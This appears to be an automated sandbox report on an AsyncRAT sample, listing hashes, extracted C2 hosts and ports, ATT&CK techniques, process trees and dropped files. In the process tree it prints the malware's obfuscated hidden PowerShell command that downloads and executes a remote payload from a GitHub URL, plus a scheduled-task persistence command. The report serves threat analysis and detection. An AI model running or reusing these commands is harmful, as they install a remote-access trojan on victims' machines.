asyncrat | 43f0058eddf17e193f8168c7800dbe5754ec2a5b0f505fccca161895a850e56c

General

Target

huh.wsf
Size

78KB
MD5

3afe73cfaffd88fe0f1deb6a8a2c133a
SHA1

eb6bdbe0f846465c3ca1da7fb0828f67fde33c45
SHA256

43f0058eddf17e193f8168c7800dbe5754ec2a5b0f505fccca161895a850e56c
SHA512

f16d295d84b4c2cd1b26f1e3c5b84153ac202849bc25f56f955a914665bf7baabcd6ef4b5a7118c6ea3356443e8d5f4d55a19483f542624a25f91504b73f1c85
SSDEEP

1536:DGJGJ1GJ1GJ1GJIGJ11GJGJ1GJSGJGJ1GJ1GJ1GJoaWEGJGJ1GJ1GJ1GJlGJGJ1t:DGJGJ1GJ1GJ1GJIGJ11GJGJ1GJSGJGJ1

Score

10^/10

asyncrat drax rat

Malware Config

Extracted

Family

asyncrat

Version

2022 | Edit 3LOSH RAT

Botnet

DRAX

C2

itskmc.run.place:6606

itskmc.run.place:7707

itskmc.run.place:8808

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
behavioral2/memory/1328-57-0x0000000000400000-0x0000000000412000-memory.dmp	asyncrat

Blocklisted process makes network request 4 IoCs

Processes:

WScript.exepowershell.exe

flow pid process

6 1852 WScript.exe
8 1852 WScript.exe
11 1852 WScript.exe
34 3376 powershell.exe

flow	pid	process
6	1852	WScript.exe
8	1852	WScript.exe
11	1852	WScript.exe
34	3376	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exeWScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Control Panel\International\Geo\Nation	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 3624 set thread context of 1328 3624 powershell.exe RegSvcs.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

2604 schtasks.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

3376 powershell.exe
3376 powershell.exe
3624 powershell.exe
3624 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 3376 powershell.exe
Token: SeDebugPrivilege 3624 powershell.exe

description	pid	process	target process
PID 3624 set thread context of 1328	3624	powershell.exe	RegSvcs.exe

pid	process
2604	schtasks.exe

pid	process
3376	powershell.exe
3376	powershell.exe
3624	powershell.exe
3624	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3376	powershell.exe
Token: SeDebugPrivilege	3624	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

WScript.exepowershell.exeWScript.execmd.execmd.exepowershell.exe

description	pid	process	target process
PID 1852 wrote to memory of 3376	1852	WScript.exe	powershell.exe
PID 1852 wrote to memory of 3376	1852	WScript.exe	powershell.exe
PID 3376 wrote to memory of 2604	3376	powershell.exe	schtasks.exe
PID 3376 wrote to memory of 2604	3376	powershell.exe	schtasks.exe
PID 4972 wrote to memory of 1632	4972	WScript.exe	cmd.exe
PID 4972 wrote to memory of 1632	4972	WScript.exe	cmd.exe
PID 1632 wrote to memory of 3248	1632	cmd.exe	cmd.exe
PID 1632 wrote to memory of 3248	1632	cmd.exe	cmd.exe
PID 3248 wrote to memory of 3624	3248	cmd.exe	powershell.exe
PID 3248 wrote to memory of 3624	3248	cmd.exe	powershell.exe
PID 3624 wrote to memory of 1328	3624	powershell.exe	RegSvcs.exe
PID 3624 wrote to memory of 1328	3624	powershell.exe	RegSvcs.exe
PID 3624 wrote to memory of 1328	3624	powershell.exe	RegSvcs.exe
PID 3624 wrote to memory of 1328	3624	powershell.exe	RegSvcs.exe
PID 3624 wrote to memory of 1328	3624	powershell.exe	RegSvcs.exe
PID 3624 wrote to memory of 1328	3624	powershell.exe	RegSvcs.exe
PID 3624 wrote to memory of 1328	3624	powershell.exe	RegSvcs.exe
PID 3624 wrote to memory of 1328	3624	powershell.exe	RegSvcs.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\huh.wsf"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1852

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WIND HIDDeN -eXeC BYPASS -NONI $kuTYFCYytf333='IeX(NeW-OBJeCT NeT.W';$6546FDSZFX='eBCLIeNT).DOWNLO';Sleep 3;[BYTe[]];Sleep 6;$3232CGFCHGC='78TBFRT47TY87GBR8FEGH8VGTVG4T8VG7GTF874G58(''https://raw.githubusercontent.com/drax2020/drax/main/invkmc.jpg'')'.RePLACe('78TBFRT47TY87GBR8FEGH8VGTVG4T8VG7GTF874G58','ADSTRING');Sleep 5;IeX($kuTYFCYytf333+$6546FDSZFX+$3232CGFCHGC);
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3376

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /sc minute /mo 1 /tn coinmarketcap /tr C:\Users\Public\coinmarketcap\coinmarketcap.vbs
3⤵
- Creates scheduled task(s)
PID:2604

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\Users\Public\coinmarketcap\coinmarketcap.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4972

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Public\coinmarketcap\1.bat" "
2⤵
- Suspicious use of WriteProcessMemory
PID:1632

C:\Windows\system32\cmd.exe
CMD /C powershell.exe -NOP -WIND HIDDEN -eXEC BYPASS -NONI "C:\Users\Public\coinmarketcap\imcq.ps1"
3⤵
- Suspicious use of WriteProcessMemory
PID:3248

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NOP -WIND HIDDEN -eXEC BYPASS -NONI "C:\Users\Public\coinmarketcap\imcq.ps1"
4⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3624

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
5⤵
PID:1328

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

1

T1053

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Resource Development

Reconnaissance

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
8192139416d335bab7ae69718ea33610

SHA1
74819680530e50b748d989ff411bd0c91951c00d

SHA256
0b7afb0c73af0f2207cab6897d60cb50707d42a23220e70aaf284e9dbcbfa3b5

SHA512
0a82138e9eaf23837e08547842bc94dca8895cc21aeb5859d6c9158904ed798d0981ec1a9ca7c008702058c6ec1298644c1a599a0eeb346c6373d2d363da1a62

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1ifr5qbg.ibm.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Public\coinmarketcap\1.bat
Filesize
101B

MD5
44e064e842f617f02e141df432bbba05

SHA1
75e8b8828f424886b885b54d24f92df91757dd67

SHA256
7683de0cebb3f85dc3fe733e2266ed3c4ec3a11ae177a7c63b487f45426efa6b

SHA512
a8745780adb1e015bb5d0f794ea38b0c228531188cc5207153664d924caebeebf6f078abcdd56be955b96f8b6ca9777fd2446daf404d3038bba5a53fd724d54a

Download Submit
C:\Users\Public\coinmarketcap\coinmarketcap.vbs
Filesize
2KB

MD5
81e8abd8a610bd9b6061d5777fa50774

SHA1
65394fbe378c3600e68b0e0655ca6ba760357114

SHA256
d672e8a405f67033bd845bea5b9f137152c8effb4a5b4ec8c75d73124e5b2dfd

SHA512
593de6db9c3d5045196d37898879125efa9de9ee28a49bc02ec8bbd8c2ee8fc629f3eb9fc0aa99dc28aab6d03520406886461b0141c7e272b86881d3c9e6e3d7

Download Submit
C:\Users\Public\coinmarketcap\imcq.ps1
Filesize
139KB

MD5
0f5caae287b4875f851d599d28a3abac

SHA1
7380301b3cf29388fb30c483387a27e4c78ba113

SHA256
93cea8592ee7c490bd5dcdd25a2de4e8245e60eab9fa61e3ac5663cd034af310

SHA512
16d1e5a3cafe19700d9d8c14f2b00c24fe82862c97304991374d0d66eeff2eac6fe3f8fd0379e0abdd3342125f0cc76bb75b1e50b7eae5c364de65906f5ee2ba

Download Submit
memory/1328-57-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/3376-25-0x000001639BD80000-0x000001639BD90000-memory.dmp

Filesize
64KB

Download
memory/3376-13-0x000001639BD20000-0x000001639BD42000-memory.dmp

Filesize
136KB

Download
memory/3376-19-0x000001639BD80000-0x000001639BD90000-memory.dmp

Filesize
64KB

Download
memory/3376-33-0x00007FFF67590000-0x00007FFF68051000-memory.dmp

Filesize
10.8MB

Download
memory/3376-23-0x000001639BD80000-0x000001639BD90000-memory.dmp

Filesize
64KB

Download
memory/3376-20-0x000001639BD80000-0x000001639BD90000-memory.dmp

Filesize
64KB

Download
memory/3376-18-0x00007FFF67590000-0x00007FFF68051000-memory.dmp

Filesize
10.8MB

Download
memory/3376-21-0x000001639BD80000-0x000001639BD90000-memory.dmp

Filesize
64KB

Download
memory/3376-22-0x00007FFF67590000-0x00007FFF68051000-memory.dmp

Filesize
10.8MB

Download
memory/3376-24-0x000001639BD80000-0x000001639BD90000-memory.dmp

Filesize
64KB

Download
memory/3624-39-0x0000018764570000-0x0000018764580000-memory.dmp

Filesize
64KB

Download
memory/3624-50-0x0000018764570000-0x0000018764580000-memory.dmp

Filesize
64KB

Download
memory/3624-38-0x0000018764570000-0x0000018764580000-memory.dmp

Filesize
64KB

Download
memory/3624-52-0x000001874C380000-0x000001874C38C000-memory.dmp

Filesize
48KB

Download
memory/3624-53-0x00007FFF67450000-0x00007FFF67F11000-memory.dmp

Filesize
10.8MB

Download
memory/3624-54-0x0000018764570000-0x0000018764580000-memory.dmp

Filesize
64KB

Download
memory/3624-55-0x0000018764570000-0x0000018764580000-memory.dmp

Filesize
64KB

Download
memory/3624-56-0x0000018764570000-0x0000018764580000-memory.dmp

Filesize
64KB

Download
memory/3624-37-0x00007FFF67450000-0x00007FFF67F11000-memory.dmp

Filesize
10.8MB

Download
memory/3624-59-0x00007FFF67450000-0x00007FFF67F11000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads